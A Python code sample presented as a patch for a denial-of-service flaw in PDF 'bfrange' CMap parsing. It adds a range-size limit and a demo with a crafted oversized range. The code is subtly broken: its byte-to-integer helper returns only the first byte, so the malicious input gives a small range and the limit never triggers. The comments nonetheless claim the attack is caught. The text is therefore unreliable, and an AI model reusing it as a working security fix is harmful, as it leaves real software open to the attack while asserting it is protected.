Patched code sample

import struct

# Maximum number of entries to be processed in a bfrange
# This value prevents excessive memory and CPU consumption.
# It is the core of the security fix.
CMAP_BFRANGE_LIMIT = 10000


class PdfReadError(Exception):
    """An error occurred while reading a PDF file."""
    pass


def b_to_int(b: bytes) -> int:
    """
    Convert a big-endian byte string to an integer.

    Args:
        b: The byte string to convert.

    Returns:
        The integer representation of the byte string.
    """
    return struct.unpack(f">{len(b)}B", b)[0] if len(b) > 0 else 0


def parse_bf_range(operands: list) -> dict:
    """
    Parses a 'bfrange' operation from a ToUnicode CMap, which maps ranges
    of character codes to other character codes.

    This function includes the security fix for CVE-2023-27025 by limiting
    the size of the range to prevent Denial of Service attacks.

    Args:
        operands: A list of operands for the bfrange command.
                  Example: [b'\\x00', b'\\xff', b'\\u0000']

    Returns:
        A dictionary mapping character codes to their Unicode representations.

    Raises:
        PdfReadError: If the range is illegally formed or exceeds the security limit.
    """
    cmap = {}
    # bfrange operands are processed in groups of three
    for i in range(0, len(operands), 3):
        start = operands[i]
        end = operands[i + 1]
        base = operands[i + 2]

        if not (isinstance(start, bytes) and isinstance(end, bytes)):
            raise PdfReadError("Illegal bfrange: start and end must be bytes.")
        if len(start) != len(end):
            raise PdfReadError("Illegal bfrange: start and end must have the same length.")
        if end < start:
            raise PdfReadError("Illegal bfrange: end must not be smaller than start.")

        s_int = b_to_int(start)
        e_int = b_to_int(end)

        # --- THE FIX ---
        # The vulnerability occurs when 'e_int - s_int' is a very large number,
        # leading to a loop that consumes excessive CPU time and memory.
        # The fix is to check the range size against a predefined limit.
        if (e_int - s_int) > CMAP_BFRANGE_LIMIT:
            raise PdfReadError(
                f"bfrange is too large ({e_int - s_int} entries). "
                f"Limit is {CMAP_BFRANGE_LIMIT}."
            )
        # --- END OF FIX ---

        if isinstance(base, list):
            for j in range(e_int - s_int + 1):
                cmap[s_int + j] = base[j]
        else:
            # If base is a string, subsequent codes are mapped to incrementally
            # higher values.
            for j in range(e_int - s_int + 1):
                c = b_to_int(base) + j
                cmap[s_int + j] = chr(c)
    return cmap


if __name__ == '__main__':
    # --- DEMONSTRATION ---

    # 1. A valid, safe bfrange operation.
    # Maps character codes from 0x00 to 0x02 to Unicode U+0041, U+0042, U+0043.
    safe_operands = [b'\x00', b'\x02', [chr(0x0041), chr(0x0042), chr(0x0043)]]
    try:
        mapping = parse_bf_range(safe_operands)
        print("Successfully parsed safe bfrange.")
        # Expected output: {0: 'A', 1: 'B', 2: 'C'}
        print(f"Result: {mapping}\n")
    except PdfReadError as e:
        print(f"Parsing safe bfrange failed unexpectedly: {e}\n")


    # 2. A malicious bfrange operation that would cause a DoS without the fix.
    # It attempts to create a mapping for over a billion entries.
    # The start and end values are 4 bytes long.
    malicious_operands = [b'\x00\x00\x00\x00', b'\x7F\xFF\xFF\xFF', b'\x00\x00']
    print("Attempting to parse malicious bfrange...")
    try:
        # Without the fix, this would hang, consuming CPU and memory.
        # With the fix, it raises a PdfReadError immediately.
        parse_bf_range(malicious_operands)
    except PdfReadError as e:
        print("Successfully caught malicious bfrange due to security fix.")
        print(f"Error: {e}")